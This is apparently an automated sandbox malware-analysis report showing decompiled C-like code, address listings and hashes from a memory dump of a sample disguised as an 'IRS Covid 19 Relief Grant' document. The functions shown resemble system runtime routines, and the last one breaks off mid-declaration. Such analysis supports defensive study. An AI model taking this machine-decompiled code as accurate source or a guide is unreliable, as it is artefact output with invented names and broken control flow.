											L1E2877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x1e356e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x1e358608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E1E296B90(_t210,  &_v64);
										_t262 =  *0x1e358608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E1E29E180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E1E2A97C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E1E2A006A(0x1e358608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x1e358608);
												E1E2AB180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x1e356904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x1e356e48; // 0x830ae0
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								E1E27FFB0(_t198, _t240, 0x1e358608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E1E2A00C2(0x1e358608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x1e2920a0
0x1e2920a8
0x1e2920ad
0x1e2920b3
0x1e2920b8
0x1e2920c2
0x1e2920c7
0x1e2920cb
0x1e2920d2
0x1e292263
0x1e292266
0x1e2d5836
0x1e2d5836
0x00000000
0x1e29226c
0x1e29226c
0x1e292270
0x1e292274
0x1e2920e2
0x1e2920e2
0x1e2920e6
0x1e2920ee
0x1e2d57dc
0x1e2d57de
0x1e2d57ec
0x1e2d57ec
0x1e2d57f1
0x1e2d57f3
0x1e2d57f8
0x00000000
0x1e2d57f8
0x1e2d57e0
0x1e2d57e4
0x1e2d57ea
0x00000000
0x00000000
0x00000000
0x1e2d57ea
0x1e2920f4
0x1e2920f4
0x1e2920f8
0x1e2920f8
0x1e2920fc
0x1e292100
0x1e292106
0x1e292201
0x1e292206
0x1e29220b
0x1e29220e
0x1e2922a9
0x1e2922ac
0x00000000
0x00000000
0x1e2922b2
0x1e2922b5
0x1e2d5801
0x1e2d5806
0x00000000
0x00000000
0x1e2d5810
0x1e2d5815
0x1e2d5818
0x00000000
0x00000000
0x1e2d581e
0x1e2922bb
0x1e2922bb
0x1e292218
0x1e292218
0x1e29221c
0x1e292220
0x1e292222
0x1e2922c2
0x1e2922c4
0x1e2922dc
0x1e2922dc
0x1e2922e1
0x00000000
0x00000000
0x00000000
0x1e2922e7
0x1e2922c8
0x1e2922cd
0x1e2922d3
0x1e2922d6
0x1e2d5823
0x1e2d5825
0x1e2d5827
0x00000000
0x00000000
0x1e2d582d
0x00000000
0x1e2d582d
0x00000000
0x1e292228
0x1e292228
0x00000000
0x1e292228
0x1e292222
0x1e292214
0x1e292214
0x00000000
0x1e292114
0x1e292114
0x1e292114
0x1e29211a
0x1e29211c
0x1e292348
0x1e29234d
0x1e2d5840
0x1e2d5845
0x1e2d5848
0x1e2d584e
0x1e2d584e
0x1e2d5848
0x1e292353
0x1e292355
0x1e292388
0x1e292388
0x1e292368
0x1e29236a
0x1e29236c
0x1e29238f
0x00000000
0x1e29236e
0x1e29236e
0x1e29218e
0x1e29218e
0x1e292191
0x1e292195
0x1e2d5a03
0x1e2d5a06
0x1e2d5a0c
0x1e2d5a0f
0x1e2d5a11
0x1e2d5a13
0x1e2d5a13
0x1e2d5a19
0x1e2d5a1f
0x00000000
0x1e29219b
0x1e29219b
0x1e2921a0
0x1e292282
0x1e292284
0x1e292284
0x1e292284
0x1e292284
0x1e2921a6
0x1e2921a9
0x1e2921ac
0x1e2921ae
0x1e2921b3
0x1e29228b
0x1e292290
0x1e292379
0x1e292296
0x1e292298
0x1e292298
0x1e292290
0x1e2921b9
0x1e2921be
0x1e2922a2
0x1e2922a2
0x1e2921c4
0x1e2921c8
0x1e2921cc
0x1e2921d0
0x1e2921d4
0x1e2921de
0x1e2921e3
0x1e2d5a29
0x1e2d5a2c
0x00000000
0x00000000
0x1e2d5a3b
0x00000000
0x1e2921e9
0x1e2921e9
0x1e2921e9
0x1e2921ee
0x1e2921f1
0x1e2d5a45
0x1e2d5a4b
0x1e2d5a52
0x1e2d5a58
0x1e2d5a5d
0x1e2d5a5f
0x1e2d5a71
0x1e2d5a61
0x1e2d5a6a
0x1e2d5a6a
0x1e2d5a76
0x1e2d5a79
0x1e2d5a7f
0x1e2d5a83
0x1e2d5a85
0x1e2d5a87
0x1e2d5a87
0x1e2d5a8c
0x1e2d5a91
0x1e2d5a97
0x1e2d5a9f
0x1e2d5aa0
0x1e2d5aa1
0x1e2d5aa6
0x1e2d5aab
0x1e2d5ab1
0x1e2d5ab3
0x1e2d5ab9
0x1e2d5aca
0x1e2d5ad4
0x1e2d5ad4
0x1e2d5ade
0x1e2d5ade
0x1e2d5aab
0x1e2d5a79
0x1e2d5a52
0x1e2921f7
0x1e2921f9
0x1e2921fe
0x1e2921fe
0x1e2921e3
0x1e292195
0x1e29236c
0x1e292122
0x1e292122
0x1e292124
0x1e292231
0x1e292236
0x1e292236
0x1e292238
0x1e292238
0x1e292240
0x1e292242
0x1e292244
0x1e2d59fc
0x1e29218c
0x1e29218c
0x00000000
0x1e29218c
0x1e29224a
0x1e29224f
0x1e292256
0x1e292304
0x1e292309
0x1e29230f
0x1e29231e
0x1e29231e
0x1e29231e
0x1e292320
0x1e292325
0x1e29232a
0x1e29232c
0x1e29233e
0x1e29233e
0x00000000
0x1e29232c
0x1e292311
0x1e292317
0x1e29231a
0x1e29231c
0x1e292380
0x1e292380
0x1e292380
0x1e292384
0x00000000
0x00000000
0x1e292386
0x00000000
0x1e29231c
0x1e29225c
0x1e29225c
0x00000000
0x1e29225c
0x1e29212a
0x1e292134
0x1e292138
0x1e29213d
0x1e2d5858
0x1e2d5863
0x1e2d5863
0x1e2d5867
0x1e2d586a
0x00000000
0x00000000
0x1e2d586c
0x1e2d586c
0x1e2d5871
0x1e2d5875
0x1e2d5877
0x1e2d5997
0x1e2d599c
0x1e2d59a1
0x1e2d59a7
0x1e2d59a7
0x00000000
0x1e2d59a7
0x1e2d587d
0x00000000
0x1e2d588b
0x1e2d588b
0x1e2d5890
0x1e2d5892
0x1e2d5894
0x1e2d5899
0x1e2d589b
0x1e2d58a0
0x1e2d58a0
0x1e2d58aa
0x1e2d58b2
0x1e2d58b6
0x1e2d58be
0x1e2d58c6
0x1e2d58c9
0x1e2d590d
0x1e2d5917
0x1e2d591a
0x1e2d591c
0x1e2d5920
0x1e2d5928
0x1e2d592a
0x1e2d592c
0x1e2d592e
0x1e2d592e
0x1e2d58cb
0x1e2d58cd
0x1e2d58d8
0x1e2d58e0
0x1e2d58f4
0x1e2d58fe
0x1e2d58fe
0x1e2d593a
0x1e2d593e
0x1e2d5940
0x1e2d5942
0x00000000
0x1e2d5944
0x1e2d5944
0x1e2d5949
0x1e2d594e
0x1e2d594e
0x1e2d5953
0x1e2d595b
0x1e2d5976
0x1e2d5976
0x1e2d597a
0x1e2d597f
0x00000000
0x00000000
0x00000000
0x00000000
0x1e2d5981
0x1e2d5981
0x1e2d5981
0x1e2d5983
0x1e2d5988
0x1e2d598d
0x1e2d5991
0x1e2d5991
0x00000000
0x1e2d595d
0x1e2d595d
0x1e2d5963
0x1e2d5965
0x00000000
0x00000000
0x00000000
0x00000000
0x1e2d5967
0x1e2d5967
0x1e2d596b
0x1e2d596d
0x00000000
0x00000000
0x1e2d596f
0x1e2d5971
0x1e2d5971
0x1e2d5974
0x00000000
0x00000000
0x00000000
0x1e2d5974
0x00000000
0x1e2d5967
0x1e2d595b
0x1e2d5942
0x1e2d5863
0x1e292143
0x1e292143
0x1e292149
0x1e29214f
0x1e2922f1
0x1e2922f6
0x00000000
0x1e292173
0x1e292173
0x1e29217d
0x1e292181
0x1e292186
0x1e2d59ae
0x1e2d59b2
0x1e2d59b5
0x1e2d59b7
0x1e2d59ba
0x1e2d59cd
0x1e2d59d1
0x1e2d59d5
0x1e2d59d9
0x1e2d59db
0x00000000
0x00000000
0x1e2d59dd
0x1e2d59dd
0x1e2d59e1
0x1e2d59e4
0x1e2d59e7
0x1e2d59ee
0x1e2d59ee
0x1e2d59f3
0x1e2d59f3
0x00000000
0x1e292186
0x1e29214f
0x1e292106
0x1e292266
0x1e2920d8
0x1e2920da
0x1e2920e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 423a790f782cff1515e4c961dc57387c56a8b06b3c7c9ae8c969315ecc8d6fee
Instruction ID: 470df0d43fe7e47c410d1c5c8e9b061e7e22d2f02311a4a33516b3915e26bf8a
Opcode Fuzzy Hash: 423a790f782cff1515e4c961dc57387c56a8b06b3c7c9ae8c969315ecc8d6fee
Instruction Fuzzy Hash: 40F12836A183A2DFD301CB25E470B4A77E6BF86714F249B2DE9948B381D774D844DB82

Uniqueness

Uniqueness Score: -1.00%

Function 1E27B090, Relevance: .4, Instructions: 405
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E1E27B090(signed int _a4, signed int _a8, signed int _a12, signed int _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t117;
				signed int _t119;
				signed int _t120;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				signed int _t126;
				signed int _t134;
				signed int _t139;
				signed char _t143;
				signed int _t144;
				signed int _t146;
				signed int _t148;
				signed int* _t150;
				signed int _t152;
				signed int _t161;
				signed char _t165;
				signed int _t167;
				signed int _t170;
				signed int _t174;
				signed char _t177;
				signed int _t178;
				signed int _t181;
				signed int _t182;
				signed int _t187;
				signed int _t190;
				signed int _t192;
				signed int _t194;
				signed int _t196;
				signed int _t199;
				signed int _t202;
				signed int _t208;
				signed int _t211;

				_t182 = _a16;
				_t178 = _a8;
				_t161 = _a4;
				 *_t182 = 0;
				 *(_t182 + 4) = 0;
				_t5 = _t161 + 4; // 0x4
				_t117 =  *_t5 & 0x00000001;
				if(_t178 == 0) {
					 *_t161 = _t182;
					 *(_t161 + 4) = _t182;
					if(_t117 != 0) {
						_t117 = _t182 | 0x00000001;
						 *(_t161 + 4) = _t117;
					}
					 *(_t182 + 8) = 0;
					goto L43;
				} else {
					_t208 = _t182 ^ _t178;
					_t192 = _t208;
					if(_t117 == 0) {
						_t192 = _t182;
					}
					_t117 = _a12 & 0x000000ff;
					 *(_t178 + _t117 * 4) = _t192;
					if(( *(_t161 + 4) & 0x00000001) == 0) {
						_t208 = _t178;
					}
					 *(_t182 + 8) = _t208 | 0x00000001;
					if(_a12 == 0) {
						_t14 = _t161 + 4; // 0x4
						_t177 =  *_t14;
						_t117 = _t177 & 0xfffffffe;
						if(_t178 == _t117) {
							_t117 = _a4;
							 *(_t117 + 4) = _t182;
							if((_t177 & 0x00000001) != 0) {
								_t161 = _a4;
								_t117 = _t182 | 0x00000001;
								 *(_t161 + 4) = _t117;
							} else {
								_t161 = _t117;
							}
						} else {
							_t161 = _a4;
						}
					}
					if(( *(_t178 + 8) & 0x00000001) == 0) {
						L42:
						L43:
						return _t117;
					} else {
						_t19 = _t161 + 4; // 0x4
						_t165 =  *_t19 & 0x00000001;
						do {
							_t211 =  *(_t178 + 8) & 0xfffffffc;
							if(_t165 != 0) {
								if(_t211 != 0) {
									_t211 = _t211 ^ _t178;
								}
							}
							_t119 =  *_t211;
							if(_t165 != 0) {
								if(_t119 != 0) {
									_t119 = _t119 ^ _t211;
								}
							}
							_t120 = 0;
							_t121 = _t120 & 0xffffff00 | _t119 != _t178;
							_v8 = _t121;
							_t122 = _t121 ^ 0x00000001;
							_v16 = _t122;
							_t123 =  *(_t211 + _t122 * 4);
							if(_t165 != 0) {
								if(_t123 == 0) {
									goto L20;
								}
								_t123 = _t123 ^ _t211;
								goto L13;
							} else {
								L13:
								if(_t123 == 0 || ( *(_t123 + 8) & 0x00000001) == 0) {
									L20:
									_t194 = _v16;
									if((_a12 & 0x000000ff) != _v8) {
										_t126 =  *(_t182 + 8) & 0xfffffffc;
										_t167 = _t165 & 1;
										_v12 = _t167;
										if(_t167 != 0) {
											if(_t126 != 0) {
												_t126 = _t126 ^ _t182;
											}
										}
										if(_t126 != _t178) {
											L83:
											_t178 = 0x1d;
											asm("int 0x29");
											goto L84;
										} else {
											_t126 =  *(_t178 + _t194 * 4);
											if(_t167 != 0) {
												if(_t126 != 0) {
													_t126 = _t126 ^ _t178;
												}
											}
											if(_t126 != _t182) {
												goto L83;
											} else {
												_t126 =  *(_t211 + _v8 * 4);
												if(_t167 != 0) {
													if(_t126 != 0) {
														_t126 = _t126 ^ _t211;
													}
												}
												if(_t126 != _t178) {
													goto L83;
												} else {
													_t77 = _t178 + 8; // 0x8
													_t150 = _t77;
													_v20 = _t150;
													_t126 =  *_t150 & 0xfffffffc;
													if(_t167 != 0) {
														if(_t126 != 0) {
															_t126 = _t126 ^ _t178;
														}
													}
													if(_t126 != _t211) {
														goto L83;
													} else {
														_t202 = _t211 ^ _t182;
														_t152 = _t202;
														if(_t167 == 0) {
															_t152 = _t182;
														}
														 *(_t211 + _v8 * 4) = _t152;
														_t170 = _v12;
														if(_t170 == 0) {
															_t202 = _t211;
														}
														 *(_t182 + 8) =  *(_t182 + 8) & 0x00000003 | _t202;
														_t126 =  *(_t182 + _v8 * 4);
														if(_t170 != 0) {
															if(_t126 == 0) {
																L58:
																if(_t170 != 0) {
																	if(_t126 != 0) {
																		_t126 = _t126 ^ _t178;
																	}
																}
																 *(_t178 + _v16 * 4) = _t126;
																_t199 = _t178 ^ _t182;
																if(_t170 != 0) {
																	_t178 = _t199;
																}
																 *(_t182 + _v8 * 4) = _t178;
																if(_t170 == 0) {
																	_t199 = _t182;
																}
																 *_v20 =  *_v20 & 0x00000003 | _t199;
																_t178 = _t182;
																_t167 =  *((intOrPtr*)(_a4 + 4));
																goto L21;
															}
															_t126 = _t126 ^ _t182;
														}
														if(_t126 != 0) {
															_t167 =  *(_t126 + 8);
															_t194 = _t167 & 0xfffffffc;
															if(_v12 != 0) {
																L84:
																if(_t194 != 0) {
																	_t194 = _t194 ^ _t126;
																}
															}
															if(_t194 != _t182) {
																goto L83;
															}
															if(_v12 != 0) {
																_t196 = _t126 ^ _t178;
															} else {
																_t196 = _t178;
															}
															 *(_t126 + 8) = _t167 & 0x00000003 | _t196;
															_t170 = _v12;
														}
														goto L58;
													}
												}
											}
										}
									}
									L21:
									_t182 = _v8 ^ 0x00000001;
									_t126 =  *(_t178 + 8) & 0xfffffffc;
									_v8 = _t182;
									_t194 = _t167 & 1;
									if(_t194 != 0) {
										if(_t126 != 0) {
											_t126 = _t126 ^ _t178;
										}
									}
									if(_t126 != _t211) {
										goto L83;
									} else {
										_t134 = _t182 ^ 0x00000001;
										_v16 = _t134;
										_t126 =  *(_t211 + _t134 * 4);
										if(_t194 != 0) {
											if(_t126 != 0) {
												_t126 = _t126 ^ _t211;
											}
										}
										if(_t126 != _t178) {
											goto L83;
										} else {
											_t167 = _t211 + 8;
											_t182 =  *_t167 & 0xfffffffc;
											_v20 = _t167;
											if(_t194 != 0) {
												if(_t182 == 0) {
													L80:
													_t126 = _a4;
													if( *_t126 != _t211) {
														goto L83;
													}
													 *_t126 = _t178;
													L34:
													if(_t194 != 0) {
														if(_t182 != 0) {
															_t182 = _t182 ^ _t178;
														}
													}
													 *(_t178 + 8) =  *(_t178 + 8) & 0x00000003 | _t182;
													_t139 =  *((intOrPtr*)(_t178 + _v8 * 4));
													if(_t194 != 0) {
														if(_t139 == 0) {
															goto L37;
														}
														_t126 = _t139 ^ _t178;
														goto L36;
													} else {
														L36:
														if(_t126 != 0) {
															_t167 =  *(_t126 + 8);
															_t182 = _t167 & 0xfffffffc;
															if(_t194 != 0) {
																if(_t182 != 0) {
																	_t182 = _t182 ^ _t126;
																}
															}
															if(_t182 != _t178) {
																goto L83;
															} else {
																if(_t194 != 0) {
																	_t190 = _t126 ^ _t211;
																} else {
																	_t190 = _t211;
																}
																 *(_t126 + 8) = _t167 & 0x00000003 | _t190;
																_t167 = _v20;
																goto L37;
															}
														}
														L37:
														if(_t194 != 0) {
															if(_t139 != 0) {
																_t139 = _t139 ^ _t211;
															}
														}
														 *(_t211 + _v16 * 4) = _t139;
														_t187 = _t211 ^ _t178;
														if(_t194 != 0) {
															_t211 = _t187;
														}
														 *(_t178 + _v8 * 4) = _t211;
														if(_t194 == 0) {
															_t187 = _t178;
														}
														_t143 =  *_t167 & 0x00000003 | _t187;
														 *_t167 = _t143;
														_t117 = _t143 | 0x00000001;
														 *_t167 = _t117;
														 *(_t178 + 8) =  *(_t178 + 8) & 0x000000fe;
														goto L42;
													}
												}
												_t182 = _t182 ^ _t211;
											}
											if(_t182 == 0) {
												goto L80;
											}
											_t144 =  *(_t182 + 4);
											if(_t194 != 0) {
												if(_t144 != 0) {
													_t144 = _t144 ^ _t182;
												}
											}
											if(_t144 == _t211) {
												if(_t194 != 0) {
													_t146 = _t182 ^ _t178;
												} else {
													_t146 = _t178;
												}
												 *(_t182 + 4) = _t146;
												goto L34;
											} else {
												_t126 =  *_t182;
												if(_t194 != 0) {
													if(_t126 != 0) {
														_t126 = _t126 ^ _t182;
													}
												}
												if(_t126 != _t211) {
													goto L83;
												} else {
													if(_t194 != 0) {
														_t148 = _t182 ^ _t178;
													} else {
														_t148 = _t178;
													}
													 *_t182 = _t148;
													goto L34;
												}
											}
										}
									}
								} else {
									 *(_t178 + 8) =  *(_t178 + 8) & 0x000000fe;
									_t182 = _t211;
									 *(_t123 + 8) =  *(_t123 + 8) & 0x000000fe;
									_t174 = _a4;
									_t117 =  *(_t211 + 8);
									_t181 = _t117 & 0xfffffffc;
									if(( *(_t174 + 4) & 0x00000001) != 0) {
										if(_t181 == 0) {
											goto L42;
										}
										_t178 = _t181 ^ _t211;
									}
									if(_t178 == 0) {
										goto L42;
									}
									goto L17;
								}
							}
							L17:
							 *(_t211 + 8) = _t117 | 0x00000001;
							_t40 = _t174 + 4; // 0x4
							_t117 =  *_t178;
							_t165 =  *_t40 & 0x00000001;
							if(_t165 != 0) {
								if(_t117 != 0) {
									_t117 = _t117 ^ _t178;
								}
							}
							_a12 = _t211 != _t117;
						} while (( *(_t178 + 8) & 0x00000001) != 0);
						goto L42;
					}
				}
			}

0x1e27b095
0x1e27b09b
0x1e27b09f
0x1e27b0a5
0x1e27b0a7
0x1e27b0aa
0x1e27b0ad
0x1e27b0b1
0x1e27b3f8
0x1e27b3fa
0x1e27b3ff
0x1e27b419
0x1e27b41b
0x1e27b41b
0x1e27b401
0x00000000
0x1e27b0b7
0x1e27b0b9
0x1e27b0bc
0x1e27b0c0
0x1e27b0c2
0x1e27b0c2
0x1e27b0c4
0x1e27b0c8
0x1e27b0cf
0x1e27b0d1
0x1e27b0d1
0x1e27b0da
0x1e27b0dd
0x1e27b0df
0x1e27b0df
0x1e27b0e4
0x1e27b0e9
0x1e27b3e2
0x1e27b3e5
0x1e27b3eb
0x1e2ca676
0x1e2ca67b
0x1e2ca67d
0x1e27b3f1
0x1e27b3f1
0x1e27b3f1
0x1e27b0ef
0x1e27b0ef
0x1e27b0ef
0x1e27b0e9
0x1e27b0f6
0x1e27b28d
0x1e27b28e
0x1e27b293
0x1e27b0fc
0x1e27b0fc
0x1e27b101
0x1e27b104
0x1e27b107
0x1e27b10c
0x1e2ca687
0x1e2ca68d
0x1e2ca68d
0x1e2ca687
0x1e27b112
0x1e27b116
0x1e2ca696
0x1e2ca69c
0x1e2ca69c
0x1e2ca696
0x1e27b120
0x1e27b121
0x1e27b124
0x1e27b127
0x1e27b12a
0x1e27b12d
0x1e27b132
0x1e2ca6a5
0x00000000
0x00000000
0x1e2ca6ab
0x00000000
0x1e27b138
0x1e27b138
0x1e27b13a
0x1e27b193
0x1e27b197
0x1e27b19d
0x1e27b29c
0x1e27b29f
0x1e27b2a2
0x1e27b2a7
0x1e2ca6d2
0x1e2ca6d8
0x1e2ca6d8
0x1e2ca6d2
0x1e27b2af
0x1e27b420
0x1e27b422
0x1e27b423
0x00000000
0x1e27b2b5
0x1e27b2b5
0x1e27b2ba
0x1e2ca6e1
0x1e2ca6e7
0x1e2ca6e7
0x1e2ca6e1
0x1e27b2c2
0x00000000
0x1e27b2c8
0x1e27b2cb
0x1e27b2d0
0x1e2ca6f0
0x1e2ca6f6
0x1e2ca6f6
0x1e2ca6f0
0x1e27b2d8
0x00000000
0x1e27b2de
0x1e27b2de
0x1e27b2de
0x1e27b2e1
0x1e27b2e6
0x1e27b2eb
0x1e2ca6ff
0x1e2ca705
0x1e2ca705
0x1e2ca6ff
0x1e27b2f3
0x00000000
0x1e27b2f9
0x1e27b2fb
0x1e27b2fd
0x1e27b301
0x1e27b303
0x1e27b303
0x1e27b308
0x1e27b30b
0x1e27b310
0x1e27b312
0x1e27b312
0x1e27b31c
0x1e27b322
0x1e27b327
0x1e2ca70e
0x1e27b335
0x1e27b337
0x1e2ca71d
0x1e2ca723
0x1e2ca723
0x1e2ca71d
0x1e27b340
0x1e27b345
0x1e27b349
0x1e2ca72a
0x1e2ca72a
0x1e27b352
0x1e27b357
0x1e27b359
0x1e27b359
0x1e27b365
0x1e27b367
0x1e27b36c
0x00000000
0x1e27b36c
0x1e2ca714
0x1e2ca714
0x1e27b32f
0x1e27b3b8
0x1e27b3bd
0x1e27b3c4
0x1e27b425
0x1e27b427
0x1e27b429
0x1e27b429
0x1e27b427
0x1e27b3c8
0x00000000
0x00000000
0x1e27b3ce
0x1e27b42f
0x1e27b3d0
0x1e27b3d0
0x1e27b3d0
0x1e27b3d7
0x1e27b3da
0x1e27b3da
0x00000000
0x1e27b32f
0x1e27b2f3
0x1e27b2d8
0x1e27b2c2
0x1e27b2af
0x1e27b1a3
0x1e27b1a9
0x1e27b1af
0x1e27b1b2
0x1e27b1b5
0x1e27b1b8
0x1e2ca733
0x1e2ca739
0x1e2ca739
0x1e2ca733
0x1e27b1c0
0x00000000
0x1e27b1c6
0x1e27b1c8
0x1e27b1cb
0x1e27b1ce
0x1e27b1d3
0x1e2ca742
0x1e2ca748
0x1e2ca748
0x1e2ca742
0x1e27b1db
0x00000000
0x1e27b1e1
0x1e27b1e1
0x1e27b1e6
0x1e27b1e9
0x1e27b1ee
0x1e2ca751
0x1e27b409
0x1e27b409
0x1e27b40e
0x00000000
0x00000000
0x1e27b410
0x1e27b22d
0x1e27b22f
0x1e2ca790
0x1e2ca796
0x1e2ca796
0x1e2ca790
0x1e27b23d
0x1e27b243
0x1e27b248
0x1e2ca79f
0x00000000
0x00000000
0x1e2ca7a5
0x00000000
0x1e27b24e
0x1e27b24e
0x1e27b250
0x1e27b374
0x1e27b379
0x1e27b37e
0x1e2ca7ae
0x1e2ca7b4
0x1e2ca7b4
0x1e2ca7ae
0x1e27b386
0x00000000
0x1e27b38c
0x1e27b38e
0x1e2ca7bd
0x1e27b394
0x1e27b394
0x1e27b394
0x1e27b39b
0x1e27b39e
0x00000000
0x1e27b39e
0x1e27b386
0x1e27b256
0x1e27b258
0x1e2ca7c6
0x1e2ca7cc
0x1e2ca7cc
0x1e2ca7c6
0x1e27b261
0x1e27b266
0x1e27b26a
0x1e2ca7d3
0x1e2ca7d3
0x1e27b273
0x1e27b278
0x1e27b27a
0x1e27b27a
0x1e27b281
0x1e27b283
0x1e27b285
0x1e27b287
0x1e27b289
0x00000000
0x1e27b289
0x1e27b248
0x1e2ca757
0x1e2ca757
0x1e27b1f6
0x00000000
0x00000000
0x1e27b1fc
0x1e27b201
0x1e2ca760
0x1e2ca766
0x1e2ca766
0x1e2ca760
0x1e27b209
0x1e27b3a8
0x1e2ca76f
0x1e27b3ae
0x1e27b3ae
0x1e27b3ae
0x1e27b3b0
0x00000000
0x1e27b20f
0x1e27b20f
0x1e27b213
0x1e2ca778
0x1e2ca77e
0x1e2ca77e
0x1e2ca778
0x1e27b21b
0x00000000
0x1e27b221
0x1e27b223
0x1e2ca787
0x1e27b229
0x1e27b229
0x1e27b229
0x1e27b22b
0x00000000
0x1e27b22b
0x1e27b21b
0x1e27b209
0x1e27b1db
0x1e27b142
0x1e27b142
0x1e27b146
0x1e27b148
0x1e27b14c
0x1e27b14f
0x1e27b154
0x1e27b15b
0x1e2ca6b4
0x00000000
0x00000000
0x1e2ca6ba
0x1e2ca6ba
0x1e27b163
0x00000000
0x00000000
0x00000000
0x1e27b163
0x1e27b13a
0x1e27b169
0x1e27b16b
0x1e27b16e
0x1e27b171
0x1e27b175
0x1e27b178
0x1e2ca6c3
0x1e2ca6c9
0x1e2ca6c9
0x1e2ca6c3
0x1e27b180
0x1e27b184
0x00000000
0x1e27b104
0x1e27b0f6

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction ID: cf1692362773f0758114c89a09b6f549ad633436a61b80d6b71865910373422f
Opcode Fuzzy Hash: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction Fuzzy Hash: 75D1E471F252578BCB01CE2AC5B075AB7E3AFA5214B398368DE5ACB349E731DC818750

Uniqueness

Uniqueness Score: -1.00%

Function 1E260D20, Relevance: .4, Instructions: 372
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E1E260D20(signed short* _a4, signed char _a8, unsigned int _a12) {
				signed char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				unsigned int _v36;
				signed char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
